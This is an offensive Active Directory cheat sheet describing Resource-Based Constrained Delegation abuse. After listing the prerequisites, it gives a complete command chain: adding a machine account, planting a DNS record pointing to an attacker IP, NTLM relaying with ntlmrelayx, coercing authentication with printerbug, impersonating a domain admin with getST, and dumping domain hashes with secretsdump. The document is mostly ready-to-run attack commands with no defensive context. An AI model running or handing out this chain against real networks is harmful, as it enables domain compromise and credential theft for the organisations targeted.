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- Resource-Based Constrained Delegation
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- msDS-AllowedToActOnBehalfOfOtherIdentity - Property on an AD object that allows what users or computers have rights to delegate to that object.
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- Only accounts with SPNs, like machine accounts created by domain users, allowed to be added to this property
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- Prerequisites:
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- No LDAP signing on DCs
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- `cme ldap –u ValidUser –p ValidPass –M ldap-signing`
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- Account with a SPN that can be added to msDS-AllowedToActOnBehalfOfOtherIdentity
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- Check: `cme smb –u ValidUser –p ValidPass –M maq`
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- Need a way to coerce authentication (printerbug, petitpotam, etc.)
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- Exploitation:
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- Add machine account (with a SPN)
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- `impacket-addcomputer -computer-name 'uniqueName' -dc-ip <DC_IP> domain/user:password`
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- Add DNS record to force HTTP authentication
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- `python3 /opt/krbrelayx/dnstool.py -u domain.local\\ValidUser -p ValidPass -a add -r <new_unique_DNS_name> -d <attacker_IP> <DC IP>`
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- Start NTLM Relay
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- `impacket-ntlmrelayx -t ldaps://dc01.domain.local -wh <attacker_IP> --delegate-access --escalate-user <owned_account_with_a_SPN> --no-dump --no-acl --no-da --no-validate-privs`
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- Coerce authentication
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- `python3 /opt/krbrelayx/printerbug.py domain.local/ValidUser:ValidPass@remoteHost <added_DNS_record>@80/fakepath`
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- Request a TGS to impersonate a domain admin on the target host
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- `impacket-getST -spn cifs/remoteHost.domain.local -impersonate <Domain_Admin> domain.local/ValidUser:ValidPass -dc-ip <DC_IP>`
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- Set the ccache environment variable for impacket
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- `export KRB5CCNAME=<Domain_Admin>.ccache`
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- DCSync to dump hashes
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- `impacket-secretsdump -k -no-pass remoteHost.domain.local`
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